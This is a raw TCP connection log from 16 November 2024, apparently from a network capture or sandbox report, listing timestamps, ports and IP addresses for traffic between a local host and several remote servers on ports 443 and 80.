Nov 16, 2024 23:36:29.846749067 CET	49797	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:29.846760035 CET	443	49797	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:29.846815109 CET	49797	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:29.847239017 CET	49797	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:29.847254992 CET	443	49797	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:29.849272966 CET	49787	443	192.168.2.5	94.245.104.56
Nov 16, 2024 23:36:29.849375010 CET	443	49787	94.245.104.56	192.168.2.5
Nov 16, 2024 23:36:29.849432945 CET	49787	443	192.168.2.5	94.245.104.56
Nov 16, 2024 23:36:29.934777021 CET	443	49790	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:29.934979916 CET	443	49790	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:29.935050011 CET	49790	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:29.936153889 CET	49790	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:29.936189890 CET	443	49790	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:29.936214924 CET	49790	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:29.936225891 CET	443	49790	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:29.940640926 CET	49798	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:29.940681934 CET	443	49798	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:29.940757036 CET	49798	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:29.941181898 CET	49798	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:29.941205025 CET	443	49798	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:30.493453026 CET	443	49793	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:30.499416113 CET	443	49794	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:30.517185926 CET	443	49795	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:30.603708029 CET	443	49797	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:30.620608091 CET	49793	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:30.620732069 CET	49795	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:30.627599955 CET	49797	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:30.627613068 CET	443	49797	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:30.628145933 CET	49797	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:30.628150940 CET	443	49797	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:30.635855913 CET	49793	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:30.635890007 CET	443	49793	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:30.636163950 CET	49794	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:30.636706114 CET	49793	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:30.636718988 CET	443	49793	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:30.638350010 CET	49794	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:30.638365030 CET	443	49794	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:30.639044046 CET	49794	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:30.639050007 CET	443	49794	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:30.646250963 CET	49795	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:30.646256924 CET	443	49795	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:30.646962881 CET	49795	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:30.646967888 CET	443	49795	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:30.696995020 CET	443	49798	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:30.746978998 CET	49798	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:30.747020006 CET	443	49798	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:30.747657061 CET	49798	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:30.747673035 CET	443	49798	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:30.753628969 CET	80	49747	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:30.753698111 CET	49747	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:30.775971889 CET	443	49793	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:30.776046991 CET	443	49793	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:30.776201010 CET	49793	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:30.777523041 CET	443	49794	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:30.778058052 CET	443	49794	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:30.778114080 CET	49794	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:30.811626911 CET	49793	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:30.811626911 CET	49793	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:30.811665058 CET	443	49793	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:30.811688900 CET	443	49793	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:30.812150002 CET	49794	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:30.812165976 CET	443	49794	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:30.812175035 CET	49794	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:30.812180042 CET	443	49794	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:30.880951881 CET	443	49798	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:30.881025076 CET	443	49798	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:30.881226063 CET	49798	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:30.884243011 CET	443	49792	40.126.32.76	192.168.2.5
Nov 16, 2024 23:36:30.884356976 CET	49792	443	192.168.2.5	40.126.32.76
Nov 16, 2024 23:36:30.907871008 CET	443	49797	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:30.908040047 CET	443	49797	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:30.908121109 CET	49797	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:30.947946072 CET	49804	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:30.947988987 CET	443	49804	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:30.948061943 CET	49804	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:30.948230982 CET	49798	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:30.948230982 CET	49798	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:30.948255062 CET	443	49798	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:30.948268890 CET	443	49798	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:30.948429108 CET	49804	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:30.948446035 CET	443	49804	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:30.959804058 CET	49797	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:30.959811926 CET	443	49797	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:30.959826946 CET	49797	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:30.959831953 CET	443	49797	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:31.037755013 CET	49805	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:31.037823915 CET	443	49805	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:31.037967920 CET	49805	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:31.053628922 CET	49806	443	192.168.2.5	172.217.18.1
Nov 16, 2024 23:36:31.053658009 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:31.053731918 CET	49806	443	192.168.2.5	172.217.18.1
Nov 16, 2024 23:36:31.053978920 CET	49806	443	192.168.2.5	172.217.18.1
Nov 16, 2024 23:36:31.053993940 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:31.055896044 CET	49807	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:31.055921078 CET	443	49807	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:31.055990934 CET	49807	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:31.056468964 CET	49805	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:31.056504011 CET	443	49805	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:31.062256098 CET	49807	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:31.062280893 CET	443	49807	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:31.063482046 CET	49808	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:31.063500881 CET	443	49808	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:31.063597918 CET	49808	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:31.063709974 CET	49808	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:31.063723087 CET	443	49808	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:31.084886074 CET	49792	443	192.168.2.5	40.126.32.76
Nov 16, 2024 23:36:31.084914923 CET	443	49792	40.126.32.76	192.168.2.5
Nov 16, 2024 23:36:31.085930109 CET	443	49792	40.126.32.76	192.168.2.5
Nov 16, 2024 23:36:31.092242002 CET	49792	443	192.168.2.5	40.126.32.76
Nov 16, 2024 23:36:31.092300892 CET	49792	443	192.168.2.5	40.126.32.76
Nov 16, 2024 23:36:31.092421055 CET	443	49792	40.126.32.76	192.168.2.5
Nov 16, 2024 23:36:31.117656946 CET	443	49795	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:31.117805004 CET	443	49795	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:31.117882967 CET	49795	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:31.134671926 CET	49795	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:31.134691954 CET	443	49795	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:31.143484116 CET	49813	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:31.143521070 CET	443	49813	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:31.143698931 CET	49813	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:31.144236088 CET	49813	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:31.144253969 CET	443	49813	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:31.158299923 CET	49819	443	192.168.2.5	18.244.18.122
Nov 16, 2024 23:36:31.158309937 CET	443	49819	18.244.18.122	192.168.2.5
Nov 16, 2024 23:36:31.158541918 CET	49819	443	192.168.2.5	18.244.18.122
Nov 16, 2024 23:36:31.159229994 CET	49819	443	192.168.2.5	18.244.18.122
Nov 16, 2024 23:36:31.159241915 CET	443	49819	18.244.18.122	192.168.2.5
Nov 16, 2024 23:36:31.204099894 CET	49747	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:31.204447985 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:31.445144892 CET	80	49747	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:31.445161104 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:31.445251942 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:31.445473909 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:31.445570946 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:31.458256960 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:31.458270073 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:31.461177111 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:31.461189985 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:31.724785089 CET	443	49804	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:31.817224979 CET	443	49807	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:31.831337929 CET	49804	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:31.831365108 CET	443	49804	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:31.832165956 CET	49804	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:31.832184076 CET	443	49804	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:31.915617943 CET	443	49813	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:31.930438995 CET	49807	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:31.938581944 CET	443	49792	40.126.32.76	192.168.2.5
Nov 16, 2024 23:36:31.958543062 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:31.970690012 CET	443	49804	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:31.970854998 CET	443	49804	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:31.970948935 CET	49804	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:32.038162947 CET	443	49819	18.244.18.122	192.168.2.5
Nov 16, 2024 23:36:32.045953035 CET	49813	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:32.045974970 CET	49806	443	192.168.2.5	172.217.18.1
Nov 16, 2024 23:36:32.063462019 CET	443	49792	40.126.32.76	192.168.2.5
Nov 16, 2024 23:36:32.065514088 CET	49792	443	192.168.2.5	40.126.32.76
Nov 16, 2024 23:36:32.126003027 CET	49807	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:32.126029015 CET	443	49807	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:32.126446009 CET	49807	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:32.126451969 CET	443	49807	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:32.128423929 CET	49813	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:32.128448009 CET	443	49813	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:32.128767014 CET	49813	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:32.128773928 CET	443	49813	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:32.128942966 CET	49806	443	192.168.2.5	172.217.18.1
Nov 16, 2024 23:36:32.128953934 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.129643917 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.129672050 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.129684925 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.129762888 CET	49806	443	192.168.2.5	172.217.18.1
Nov 16, 2024 23:36:32.129813910 CET	49806	443	192.168.2.5	172.217.18.1
Nov 16, 2024 23:36:32.129820108 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.129915953 CET	49792	443	192.168.2.5	40.126.32.76
Nov 16, 2024 23:36:32.129946947 CET	443	49792	40.126.32.76	192.168.2.5
Nov 16, 2024 23:36:32.129975080 CET	49792	443	192.168.2.5	40.126.32.76
Nov 16, 2024 23:36:32.129976034 CET	49806	443	192.168.2.5	172.217.18.1
Nov 16, 2024 23:36:32.129991055 CET	443	49792	40.126.32.76	192.168.2.5
Nov 16, 2024 23:36:32.130079031 CET	49819	443	192.168.2.5	18.244.18.122
Nov 16, 2024 23:36:32.130112886 CET	443	49819	18.244.18.122	192.168.2.5
Nov 16, 2024 23:36:32.131133080 CET	49804	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:32.131161928 CET	443	49804	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:32.131217957 CET	49804	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:32.131225109 CET	443	49804	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:32.131340027 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.132772923 CET	443	49819	18.244.18.122	192.168.2.5
Nov 16, 2024 23:36:32.132812023 CET	443	49819	18.244.18.122	192.168.2.5
Nov 16, 2024 23:36:32.132857084 CET	49819	443	192.168.2.5	18.244.18.122
Nov 16, 2024 23:36:32.143767118 CET	49829	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:32.143800974 CET	443	49829	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:32.144064903 CET	49829	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:32.145376921 CET	49829	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:32.145390034 CET	443	49829	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:32.157249928 CET	49806	443	192.168.2.5	172.217.18.1
Nov 16, 2024 23:36:32.157366037 CET	49819	443	192.168.2.5	18.244.18.122
Nov 16, 2024 23:36:32.157411098 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.157819986 CET	443	49819	18.244.18.122	192.168.2.5
Nov 16, 2024 23:36:32.158818007 CET	49806	443	192.168.2.5	172.217.18.1
Nov 16, 2024 23:36:32.158827066 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.181241035 CET	443	49805	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:32.185168982 CET	49831	443	192.168.2.5	40.126.32.76
Nov 16, 2024 23:36:32.185235977 CET	443	49831	40.126.32.76	192.168.2.5
Nov 16, 2024 23:36:32.185305119 CET	49831	443	192.168.2.5	40.126.32.76
Nov 16, 2024 23:36:32.186060905 CET	49831	443	192.168.2.5	40.126.32.76
Nov 16, 2024 23:36:32.186090946 CET	443	49831	40.126.32.76	192.168.2.5
Nov 16, 2024 23:36:32.188853025 CET	443	49808	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:32.202651978 CET	49805	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:32.202685118 CET	443	49805	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:32.203958988 CET	49805	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:32.203969955 CET	443	49805	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:32.205326080 CET	49808	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:32.205357075 CET	443	49808	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:32.205811977 CET	49808	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:32.205818892 CET	443	49808	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:32.238940954 CET	49832	443	192.168.2.5	40.126.32.76
Nov 16, 2024 23:36:32.239027977 CET	443	49832	40.126.32.76	192.168.2.5
Nov 16, 2024 23:36:32.239111900 CET	49832	443	192.168.2.5	40.126.32.76
Nov 16, 2024 23:36:32.245044947 CET	49832	443	192.168.2.5	40.126.32.76
Nov 16, 2024 23:36:32.245090961 CET	443	49832	40.126.32.76	192.168.2.5
Nov 16, 2024 23:36:32.249439955 CET	49819	443	192.168.2.5	18.244.18.122
Nov 16, 2024 23:36:32.249464989 CET	443	49819	18.244.18.122	192.168.2.5
Nov 16, 2024 23:36:32.249502897 CET	49806	443	192.168.2.5	172.217.18.1
Nov 16, 2024 23:36:32.260921001 CET	443	49807	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:32.261137009 CET	443	49807	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:32.261198044 CET	49807	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:32.261240005 CET	49807	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:32.261254072 CET	443	49807	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:32.261265993 CET	49807	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:32.261271954 CET	443	49807	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:32.265204906 CET	49833	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:32.265235901 CET	443	49833	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:32.265285015 CET	49833	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:32.266263008 CET	49833	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:32.266278028 CET	443	49833	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:32.269264936 CET	443	49813	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:32.269423008 CET	443	49813	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:32.269515991 CET	49813	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:32.269861937 CET	49813	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:32.269861937 CET	49813	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:32.269885063 CET	443	49813	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:32.269896984 CET	443	49813	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:32.272762060 CET	49834	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:32.272794962 CET	443	49834	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:32.272869110 CET	49834	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:32.273089886 CET	49834	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:32.273108006 CET	443	49834	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:32.338669062 CET	443	49805	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:32.338846922 CET	443	49805	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:32.339061975 CET	49805	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:32.359499931 CET	49805	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:32.359519958 CET	443	49805	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:32.359534979 CET	49805	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:32.359540939 CET	443	49805	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:32.362005949 CET	443	49808	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:32.362477064 CET	443	49808	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:32.362524986 CET	49808	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:32.372405052 CET	49808	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:32.372425079 CET	443	49808	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:32.372438908 CET	49808	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:32.372446060 CET	443	49808	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:32.374939919 CET	49835	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:32.375019073 CET	443	49835	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:32.375089884 CET	49835	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:32.399579048 CET	49835	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:32.399593115 CET	443	49835	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:32.406897068 CET	49836	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:32.406912088 CET	443	49836	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:32.407253027 CET	49837	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:32.407269001 CET	49836	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:32.407345057 CET	443	49837	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:32.407423019 CET	49837	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:32.407604933 CET	49836	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:32.407614946 CET	443	49836	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:32.407742023 CET	49837	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:32.407778025 CET	443	49837	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:32.410412073 CET	49838	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:32.410432100 CET	443	49838	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:32.410559893 CET	49838	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:32.410687923 CET	49838	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:32.410702944 CET	443	49838	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:32.422566891 CET	49839	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:32.422626972 CET	443	49839	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:32.422736883 CET	49839	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:32.423563004 CET	49839	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:32.423590899 CET	443	49839	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:32.423764944 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.424094915 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.424369097 CET	49806	443	192.168.2.5	172.217.18.1
Nov 16, 2024 23:36:32.424381018 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.428631067 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.428852081 CET	49806	443	192.168.2.5	172.217.18.1
Nov 16, 2024 23:36:32.428858995 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.438189983 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.438515902 CET	49806	443	192.168.2.5	172.217.18.1
Nov 16, 2024 23:36:32.438524008 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.447451115 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.447671890 CET	49806	443	192.168.2.5	172.217.18.1
Nov 16, 2024 23:36:32.447679996 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.450001001 CET	49819	443	192.168.2.5	18.244.18.122
Nov 16, 2024 23:36:32.542316914 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.542526007 CET	49806	443	192.168.2.5	172.217.18.1
Nov 16, 2024 23:36:32.542541981 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.542948008 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.543107033 CET	49806	443	192.168.2.5	172.217.18.1
Nov 16, 2024 23:36:32.543112993 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.547022104 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.547135115 CET	49806	443	192.168.2.5	172.217.18.1
Nov 16, 2024 23:36:32.547142982 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.548122883 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.548405886 CET	49806	443	192.168.2.5	172.217.18.1
Nov 16, 2024 23:36:32.548414946 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.556518078 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.556657076 CET	49806	443	192.168.2.5	172.217.18.1
Nov 16, 2024 23:36:32.556665897 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.559146881 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.559349060 CET	49806	443	192.168.2.5	172.217.18.1
Nov 16, 2024 23:36:32.559360981 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.569838047 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.570097923 CET	49806	443	192.168.2.5	172.217.18.1
Nov 16, 2024 23:36:32.570106983 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.578227997 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.578283072 CET	49806	443	192.168.2.5	172.217.18.1
Nov 16, 2024 23:36:32.578293085 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.587515116 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.587564945 CET	49806	443	192.168.2.5	172.217.18.1
Nov 16, 2024 23:36:32.587572098 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.597491980 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.597595930 CET	49806	443	192.168.2.5	172.217.18.1
Nov 16, 2024 23:36:32.597601891 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.643248081 CET	49806	443	192.168.2.5	172.217.18.1
Nov 16, 2024 23:36:32.643258095 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.747333050 CET	49806	443	192.168.2.5	172.217.18.1
Nov 16, 2024 23:36:32.817496061 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.830487013 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.830574036 CET	49806	443	192.168.2.5	172.217.18.1
Nov 16, 2024 23:36:32.830581903 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.857461929 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.857532978 CET	49806	443	192.168.2.5	172.217.18.1
Nov 16, 2024 23:36:32.857546091 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.871421099 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.871469021 CET	443	49806	172.217.18.1	192.168.2.5
Nov 16, 2024 23:36:32.871484995 CET	49806	443	192.168.2.5	172.217.18.1
